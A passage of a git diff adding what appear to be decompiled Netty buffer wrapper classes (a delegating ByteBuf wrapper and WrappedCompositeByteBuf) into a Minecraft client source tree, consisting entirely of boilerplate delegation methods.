+    buf.getBytes(index, out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return buf.getBytes(index, out, length);
+  }
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    buf.setBoolean(index, value);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    buf.setByte(index, value);
+    return this;
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    buf.setShort(index, value);
+    return this;
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    buf.setMedium(index, value);
+    return this;
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    buf.setInt(index, value);
+    return this;
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    buf.setLong(index, value);
+    return this;
+  }
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    buf.setChar(index, value);
+    return this;
+  }
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    buf.setFloat(index, value);
+    return this;
+  }
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    buf.setDouble(index, value);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    buf.setBytes(index, src, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    buf.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    buf.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    buf.setBytes(index, src);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    return buf.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    return buf.setBytes(index, in, length);
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    buf.setZero(index, length);
+    return this;
+  }
+  
+  public boolean readBoolean()
+  {
+    return buf.readBoolean();
+  }
+  
+  public byte readByte()
+  {
+    return buf.readByte();
+  }
+  
+  public short readUnsignedByte()
+  {
+    return buf.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    return buf.readShort();
+  }
+  
+  public int readUnsignedShort()
+  {
+    return buf.readUnsignedShort();
+  }
+  
+  public int readMedium()
+  {
+    return buf.readMedium();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    return buf.readUnsignedMedium();
+  }
+  
+  public int readInt()
+  {
+    return buf.readInt();
+  }
+  
+  public long readUnsignedInt()
+  {
+    return buf.readUnsignedInt();
+  }
+  
+  public long readLong()
+  {
+    return buf.readLong();
+  }
+  
+  public char readChar()
+  {
+    return buf.readChar();
+  }
+  
+  public float readFloat()
+  {
+    return buf.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    return buf.readDouble();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    return buf.readBytes(length);
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return buf.readSlice(length);
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    buf.readBytes(dst, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    buf.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    buf.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    buf.readBytes(dst);
+    return this;
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    buf.readBytes(out, length);
+    return this;
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    return buf.readBytes(out, length);
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    buf.skipBytes(length);
+    return this;
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    buf.writeBoolean(value);
+    return this;
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    buf.writeByte(value);
+    return this;
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    buf.writeShort(value);
+    return this;
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    buf.writeMedium(value);
+    return this;
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    buf.writeInt(value);
+    return this;
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    buf.writeLong(value);
+    return this;
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    buf.writeChar(value);
+    return this;
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    buf.writeFloat(value);
+    return this;
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    buf.writeDouble(value);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    buf.writeBytes(src, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    buf.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    buf.writeBytes(src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    buf.writeBytes(src);
+    return this;
+  }
+  
+  public int writeBytes(InputStream in, int length) throws IOException
+  {
+    return buf.writeBytes(in, length);
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    return buf.writeBytes(in, length);
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    buf.writeZero(length);
+    return this;
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    return buf.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    return buf.bytesBefore(value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    return buf.bytesBefore(length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    return buf.bytesBefore(index, length, value);
+  }
+  
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    return buf.forEachByte(processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    return buf.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    return buf.forEachByteDesc(processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    return buf.forEachByteDesc(index, length, processor);
+  }
+  
+  public ByteBuf copy()
+  {
+    return buf.copy();
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return buf.copy(index, length);
+  }
+  
+  public ByteBuf slice()
+  {
+    return buf.slice();
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return buf.slice(index, length);
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return buf.duplicate();
+  }
+  
+  public int nioBufferCount()
+  {
+    return buf.nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return buf.nioBuffer();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return buf.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return buf.nioBuffers();
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return buf.nioBuffers(index, length);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return buf.internalNioBuffer(index, length);
+  }
+  
+  public boolean hasArray()
+  {
+    return buf.hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return buf.array();
+  }
+  
+  public int arrayOffset()
+  {
+    return buf.arrayOffset();
+  }
+  
+  public String toString(Charset charset)
+  {
+    return buf.toString(charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    return buf.toString(index, length, charset);
+  }
+  
+  public int hashCode()
+  {
+    return buf.hashCode();
+  }
+  
+
+  public boolean equals(Object obj)
+  {
+    return buf.equals(obj);
+  }
+  
+  public int compareTo(ByteBuf buffer)
+  {
+    return buf.compareTo(buffer);
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + buf.toString() + ')';
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    buf.retain(increment);
+    return this;
+  }
+  
+  public ByteBuf retain()
+  {
+    buf.retain();
+    return this;
+  }
+  
+  public boolean isReadable(int size)
+  {
+    return buf.isReadable(size);
+  }
+  
+  public boolean isWritable(int size)
+  {
+    return buf.isWritable(size);
+  }
+  
+  public int refCnt()
+  {
+    return buf.refCnt();
+  }
+  
+  public boolean release()
+  {
+    return buf.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return buf.release(decrement);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/WrappedCompositeByteBuf.java b/src/minecraft/io/netty/buffer/WrappedCompositeByteBuf.java
new file mode 100644
index 0000000..5bfc701
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/WrappedCompositeByteBuf.java
@@ -0,0 +1,1258 @@
+package io.netty.buffer;
+
+import io.netty.util.ByteProcessor;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class WrappedCompositeByteBuf
+  extends CompositeByteBuf
+{
+  private final CompositeByteBuf wrapped;
+  
+  WrappedCompositeByteBuf(CompositeByteBuf wrapped)
+  {
+    super(wrapped.alloc());
+    this.wrapped = wrapped;
+  }
+  
+  public boolean release()
+  {
+    return wrapped.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return wrapped.release(decrement);
+  }
+  
+  public final int maxCapacity()
+  {
+    return wrapped.maxCapacity();
+  }
+  
+  public final int readerIndex()
+  {
+    return wrapped.readerIndex();
+  }
+  
+  public final int writerIndex()
+  {
+    return wrapped.writerIndex();
+  }
+  
+  public final boolean isReadable()
+  {
+    return wrapped.isReadable();
+  }
+  
+  public final boolean isReadable(int numBytes)
+  {
+    return wrapped.isReadable(numBytes);
+  }
+  
+  public final boolean isWritable()
+  {
+    return wrapped.isWritable();
+  }
+  
+  public final boolean isWritable(int numBytes)
+  {
+    return wrapped.isWritable(numBytes);
+  }
+  
+  public final int readableBytes()
+  {
+    return wrapped.readableBytes();
+  }
+  
+  public final int writableBytes()
+  {
+    return wrapped.writableBytes();
+  }
+  
+  public final int maxWritableBytes()
+  {
+    return wrapped.maxWritableBytes();
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    return wrapped.ensureWritable(minWritableBytes, force);
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    return wrapped.order(endianness);
+  }
+  
+  public boolean getBoolean(int index)
+  {
+    return wrapped.getBoolean(index);
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    return wrapped.getUnsignedByte(index);
+  }
+  
+  public short getShort(int index)
+  {
+    return wrapped.getShort(index);
+  }
+  
+  public short getShortLE(int index)
+  {
+    return wrapped.getShortLE(index);
+  }
+  
+  public int getUnsignedShort(int index)
+  {
+    return wrapped.getUnsignedShort(index);
+  }
+  
+  public int getUnsignedShortLE(int index)
+  {
+    return wrapped.getUnsignedShortLE(index);
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    return wrapped.getUnsignedMedium(index);
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    return wrapped.getUnsignedMediumLE(index);
+  }
+  
+  public int getMedium(int index)
+  {
+    return wrapped.getMedium(index);
+  }
+  
+  public int getMediumLE(int index)
+  {
+    return wrapped.getMediumLE(index);
+  }
+  
+  public int getInt(int index)
+  {
+    return wrapped.getInt(index);
+  }
+  
+  public int getIntLE(int index)
+  {
+    return wrapped.getIntLE(index);
+  }
+  
+  public long getUnsignedInt(int index)
+  {
+    return wrapped.getUnsignedInt(index);
+  }
+  
+  public long getUnsignedIntLE(int index)
+  {
+    return wrapped.getUnsignedIntLE(index);
+  }
+  
+  public long getLong(int index)
+  {
+    return wrapped.getLong(index);
+  }
+  
+  public long getLongLE(int index)
+  {
+    return wrapped.getLongLE(index);
+  }
+  
+  public char getChar(int index)
+  {
+    return wrapped.getChar(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    return wrapped.getFloat(index);
+  }
+  
+  public double getDouble(int index)
+  {
+    return wrapped.getDouble(index);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    return wrapped.setShortLE(index, value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    return wrapped.setMediumLE(index, value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    return wrapped.setIntLE(index, value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    return wrapped.setLongLE(index, value);
+  }
+  
+  public byte readByte()
+  {
+    return wrapped.readByte();
+  }
+  
+  public boolean readBoolean()
+  {
+    return wrapped.readBoolean();
+  }
+  
+  public short readUnsignedByte()
+  {
+    return wrapped.readUnsignedByte();
+  }
+  
+  public short readShort()
+  {
+    return wrapped.readShort();
+  }
+  
+  public short readShortLE()
+  {
+    return wrapped.readShortLE();
+  }
+  
+  public int readUnsignedShort()
+  {
+    return wrapped.readUnsignedShort();
+  }
+  
+  public int readUnsignedShortLE()
+  {
+    return wrapped.readUnsignedShortLE();
+  }
+  
+  public int readMedium()
+  {
+    return wrapped.readMedium();
+  }
+  
+  public int readMediumLE()
+  {
+    return wrapped.readMediumLE();
+  }
+  
+  public int readUnsignedMedium()
+  {
+    return wrapped.readUnsignedMedium();
+  }
+  
+  public int readUnsignedMediumLE()
+  {
+    return wrapped.readUnsignedMediumLE();
+  }
+  
+  public int readInt()
+  {
+    return wrapped.readInt();
+  }
+  
+  public int readIntLE()
+  {
+    return wrapped.readIntLE();
+  }
+  
+  public long readUnsignedInt()
+  {
+    return wrapped.readUnsignedInt();
+  }
+  
+  public long readUnsignedIntLE()
+  {
+    return wrapped.readUnsignedIntLE();
+  }
+  
+  public long readLong()
+  {
+    return wrapped.readLong();
+  }
+  
+  public long readLongLE()
+  {
+    return wrapped.readLongLE();
+  }
+  
+  public char readChar()
+  {
+    return wrapped.readChar();
+  }
+  
+  public float readFloat()
+  {
+    return wrapped.readFloat();
+  }
+  
+  public double readDouble()
+  {
+    return wrapped.readDouble();
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    return wrapped.readBytes(length);
+  }
+  
+  public ByteBuf slice()
+  {
+    return wrapped.slice();
+  }
+  
+  public ByteBuf retainedSlice()
+  {
+    return wrapped.retainedSlice();
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    return wrapped.slice(index, length);
+  }
+  
+  public ByteBuf retainedSlice(int index, int length)
+  {
+    return wrapped.retainedSlice(index, length);
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return wrapped.nioBuffer();
+  }
+  
+  public String toString(Charset charset)
+  {
+    return wrapped.toString(charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    return wrapped.toString(index, length, charset);
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    return wrapped.indexOf(fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    return wrapped.bytesBefore(value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    return wrapped.bytesBefore(length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    return wrapped.bytesBefore(index, length, value);
+  }
+  
+  public int forEachByte(ByteProcessor processor)
+  {
+    return wrapped.forEachByte(processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    return wrapped.forEachByte(index, length, processor);
+  }
+  
+  public int forEachByteDesc(ByteProcessor processor)
+  {
+    return wrapped.forEachByteDesc(processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    return wrapped.forEachByteDesc(index, length, processor);
+  }
+  
+  public final int hashCode()
+  {
+    return wrapped.hashCode();
+  }
+  
+  public final boolean equals(Object o)
+  {
+    return wrapped.equals(o);
+  }
+  
+  public final int compareTo(ByteBuf that)
+  {
+    return wrapped.compareTo(that);
+  }
+  
+  public final int refCnt()
+  {
+    return wrapped.refCnt();
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return wrapped.duplicate();
+  }
+  
+  public ByteBuf retainedDuplicate()
+  {
+    return wrapped.retainedDuplicate();
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    return wrapped.readSlice(length);
+  }
+  
+  public ByteBuf readRetainedSlice(int length)
+  {
+    return wrapped.readRetainedSlice(length);
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length) throws IOException
+  {
+    return wrapped.readBytes(out, length);
+  }
+  
+  public ByteBuf writeShortLE(int value)
+  {
+    return wrapped.writeShortLE(value);
+  }
+  
+  public ByteBuf writeMediumLE(int value)
+  {
+    return wrapped.writeMediumLE(value);
+  }
+  
+  public ByteBuf writeIntLE(int value)
+  {
+    return wrapped.writeIntLE(value);
+  }
+  
+  public ByteBuf writeLongLE(long value)
+  {
+    return wrapped.writeLongLE(value);
+  }
+  
+  public int writeBytes(InputStream in, int length) throws IOException
+  {
+    return wrapped.writeBytes(in, length);
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    return wrapped.writeBytes(in, length);
+  }
+  
+  public ByteBuf copy()
+  {
+    return wrapped.copy();
+  }
+  
+  public CompositeByteBuf addComponent(ByteBuf buffer)
+  {
+    wrapped.addComponent(buffer);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(ByteBuf... buffers)
+  {
+    wrapped.addComponents(buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(Iterable<ByteBuf> buffers)
+  {
+    wrapped.addComponents(buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponent(int cIndex, ByteBuf buffer)
+  {
+    wrapped.addComponent(cIndex, buffer);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(int cIndex, ByteBuf... buffers)
+  {
+    wrapped.addComponents(cIndex, buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(int cIndex, Iterable<ByteBuf> buffers)
+  {
+    wrapped.addComponents(cIndex, buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponent(boolean increaseWriterIndex, ByteBuf buffer)
+  {
+    wrapped.addComponent(increaseWriterIndex, buffer);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(boolean increaseWriterIndex, ByteBuf... buffers)
+  {
+    wrapped.addComponents(increaseWriterIndex, buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponents(boolean increaseWriterIndex, Iterable<ByteBuf> buffers)
+  {
+    wrapped.addComponents(increaseWriterIndex, buffers);
+    return this;
+  }
+  
+  public CompositeByteBuf addComponent(boolean increaseWriterIndex, int cIndex, ByteBuf buffer)
+  {
+    wrapped.addComponent(increaseWriterIndex, cIndex, buffer);
+    return this;
+  }
+  
+  public CompositeByteBuf removeComponent(int cIndex)
+  {
+    wrapped.removeComponent(cIndex);
+    return this;
+  }
+  
+  public CompositeByteBuf removeComponents(int cIndex, int numComponents)
+  {
+    wrapped.removeComponents(cIndex, numComponents);
+    return this;
+  }
+  
+  public Iterator<ByteBuf> iterator()
+  {
+    return wrapped.iterator();
+  }
+  
+  public List<ByteBuf> decompose(int offset, int length)
+  {
+    return wrapped.decompose(offset, length);
+  }
+  
+  public final boolean isDirect()
+  {
+    return wrapped.isDirect();
+  }
+  
+  public final boolean hasArray()
+  {
+    return wrapped.hasArray();
+  }
+  
+  public final byte[] array()
+  {
+    return wrapped.array();
+  }
+  
+  public final int arrayOffset()
+  {
+    return wrapped.arrayOffset();
+  }
+  
+  public final boolean hasMemoryAddress()
+  {
+    return wrapped.hasMemoryAddress();
+  }
+  
+  public final long memoryAddress()
+  {
+    return wrapped.memoryAddress();
+  }
+  
+  public final int capacity()
+  {
+    return wrapped.capacity();
+  }
+  
+  public CompositeByteBuf capacity(int newCapacity)
+  {
+    wrapped.capacity(newCapacity);
+    return this;
+  }
+  
+  public final ByteBufAllocator alloc()
+  {
+    return wrapped.alloc();
+  }
+  
+  public final ByteOrder order()
+  {
+    return wrapped.order();
+  }
+  
+  public final int numComponents()
+  {
+    return wrapped.numComponents();
+  }
+  
+  public final int maxNumComponents()
+  {
+    return wrapped.maxNumComponents();
+  }
+  
+  public final int toComponentIndex(int offset)
+  {
+    return wrapped.toComponentIndex(offset);
+  }
+  
+  public final int toByteIndex(int cIndex)
+  {
+    return wrapped.toByteIndex(cIndex);
+  }
+  
+  public byte getByte(int index)
+  {
+    return wrapped.getByte(index);
+  }
+  
+  protected final byte _getByte(int index)
+  {
+    return wrapped._getByte(index);
+  }
+  
+  protected final short _getShort(int index)
+  {
+    return wrapped._getShort(index);
+  }
+  
+  protected final short _getShortLE(int index)
+  {
+    return wrapped._getShortLE(index);
+  }
+  
+  protected final int _getUnsignedMedium(int index)
+  {
+    return wrapped._getUnsignedMedium(index);
+  }
+  
+  protected final int _getUnsignedMediumLE(int index)
+  {
+    return wrapped._getUnsignedMediumLE(index);
+  }
+  
+  protected final int _getInt(int index)
+  {
+    return wrapped._getInt(index);
+  }
+  
+  protected final int _getIntLE(int index)
+  {
+    return wrapped._getIntLE(index);
+  }
+  
+  protected final long _getLong(int index)
+  {
+    return wrapped._getLong(index);
+  }
+  
+  protected final long _getLongLE(int index)
+  {
+    return wrapped._getLongLE(index);
+  }
+  
+  public CompositeByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    wrapped.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    wrapped.getBytes(index, dst);
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    wrapped.getBytes(index, dst, dstIndex, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    return wrapped.getBytes(index, out, length);
+  }
+  
+  public CompositeByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    wrapped.getBytes(index, out, length);
+    return this;
+  }
+  
+  public CompositeByteBuf setByte(int index, int value)
+  {
+    wrapped.setByte(index, value);
+    return this;
+  }
+  
+  protected final void _setByte(int index, int value)
+  {
+    wrapped._setByte(index, value);
+  }
+  
+  public CompositeByteBuf setShort(int index, int value)
+  {
+    wrapped.setShort(index, value);
+    return this;
+  }
+  
+  protected final void _setShort(int index, int value)
+  {
+    wrapped._setShort(index, value);
+  }
+  
+  protected final void _setShortLE(int index, int value)
+  {
+    wrapped._setShortLE(index, value);
+  }
+  
+  public CompositeByteBuf setMedium(int index, int value)
+  {
+    wrapped.setMedium(index, value);
+    return this;
+  }
+  
+  protected final void _setMedium(int index, int value)
+  {
+    wrapped._setMedium(index, value);
+  }
+  
+  protected final void _setMediumLE(int index, int value)
+  {
+    wrapped._setMediumLE(index, value);
+  }
+  
+  public CompositeByteBuf setInt(int index, int value)
+  {
+    wrapped.setInt(index, value);
+    return this;
+  }
+  
+  protected final void _setInt(int index, int value)
+  {
+    wrapped._setInt(index, value);
+  }
+  
+  protected final void _setIntLE(int index, int value)
+  {
+    wrapped._setIntLE(index, value);
+  }
+  
+  public CompositeByteBuf setLong(int index, long value)
+  {
+    wrapped.setLong(index, value);
+    return this;
+  }
+  
+  protected final void _setLong(int index, long value)
+  {
+    wrapped._setLong(index, value);
+  }
+  
+  protected final void _setLongLE(int index, long value)
+  {
+    wrapped._setLongLE(index, value);
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    wrapped.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuffer src)
+  {
+    wrapped.setBytes(index, src);
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    wrapped.setBytes(index, src, srcIndex, length);
+    return this;
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    return wrapped.setBytes(index, in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    return wrapped.setBytes(index, in, length);
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    return wrapped.copy(index, length);
+  }
+  
+  public final ByteBuf component(int cIndex)
+  {
+    return wrapped.component(cIndex);
+  }
+  
+  public final ByteBuf componentAtOffset(int offset)
+  {
+    return wrapped.componentAtOffset(offset);
+  }
+  
+  public final ByteBuf internalComponent(int cIndex)
+  {
+    return wrapped.internalComponent(cIndex);
+  }
+  
+  public final ByteBuf internalComponentAtOffset(int offset)
+  {
+    return wrapped.internalComponentAtOffset(offset);
+  }
+  
+  public int nioBufferCount()
+  {
+    return wrapped.nioBufferCount();
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return wrapped.internalNioBuffer(index, length);
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return wrapped.nioBuffer(index, length);
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    return wrapped.nioBuffers(index, length);
+  }
+  
+  public CompositeByteBuf consolidate()
+  {
+    wrapped.consolidate();
+    return this;
+  }
+  
+  public CompositeByteBuf consolidate(int cIndex, int numComponents)
+  {
+    wrapped.consolidate(cIndex, numComponents);
+    return this;
+  }
+  
+  public CompositeByteBuf discardReadComponents()
+  {
+    wrapped.discardReadComponents();
+    return this;
+  }
+  
+  public CompositeByteBuf discardReadBytes()
+  {
+    wrapped.discardReadBytes();
+    return this;
+  }
+  
+  public final String toString()
+  {
+    return wrapped.toString();
+  }
+  
+  public final CompositeByteBuf readerIndex(int readerIndex)
+  {
+    wrapped.readerIndex(readerIndex);
+    return this;
+  }
+  
+  public final CompositeByteBuf writerIndex(int writerIndex)
+  {
+    wrapped.writerIndex(writerIndex);
+    return this;
+  }
+  
+  public final CompositeByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    wrapped.setIndex(readerIndex, writerIndex);
+    return this;
+  }
+  
+  public final CompositeByteBuf clear()
+  {
+    wrapped.clear();
+    return this;
+  }
+  
+  public final CompositeByteBuf markReaderIndex()
+  {
+    wrapped.markReaderIndex();
+    return this;
+  }
+  
+  public final CompositeByteBuf resetReaderIndex()
+  {
+    wrapped.resetReaderIndex();
+    return this;
+  }
+  
+  public final CompositeByteBuf markWriterIndex()
+  {
+    wrapped.markWriterIndex();
+    return this;
+  }
+  
+  public final CompositeByteBuf resetWriterIndex()
+  {
+    wrapped.resetWriterIndex();
+    return this;
+  }
+  
+  public CompositeByteBuf ensureWritable(int minWritableBytes)
+  {
+    wrapped.ensureWritable(minWritableBytes);
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst)
+  {
+    wrapped.getBytes(index, dst);
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    wrapped.getBytes(index, dst, length);
+    return this;
+  }
+  
+  public CompositeByteBuf getBytes(int index, byte[] dst)
+  {
+    wrapped.getBytes(index, dst);
+    return this;
+  }
+  
+  public CompositeByteBuf setBoolean(int index, boolean value)
+  {
+    wrapped.setBoolean(index, value);
+    return this;
+  }
+  
+  public CompositeByteBuf setChar(int index, int value)
+  {
+    wrapped.setChar(index, value);
+    return this;
+  }
+  
+  public CompositeByteBuf setFloat(int index, float value)
+  {
+    wrapped.setFloat(index, value);
+    return this;
+  }
+  
+  public CompositeByteBuf setDouble(int index, double value)
+  {
+    wrapped.setDouble(index, value);
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src)
+  {
+    wrapped.setBytes(index, src);
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    wrapped.setBytes(index, src, length);
+    return this;
+  }
+  
+  public CompositeByteBuf setBytes(int index, byte[] src)
+  {
+    wrapped.setBytes(index, src);
+    return this;
+  }
+  
+  public CompositeByteBuf setZero(int index, int length)
+  {
+    wrapped.setZero(index, length);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst)
+  {
+    wrapped.readBytes(dst);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int length)
+  {
+    wrapped.readBytes(dst, length);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    wrapped.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst)
+  {
+    wrapped.readBytes(dst);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    wrapped.readBytes(dst, dstIndex, length);
+    return this;
+  }
+  
+  public CompositeByteBuf readBytes(ByteBuffer dst)
+  {
+    wrapped.readBytes(dst);
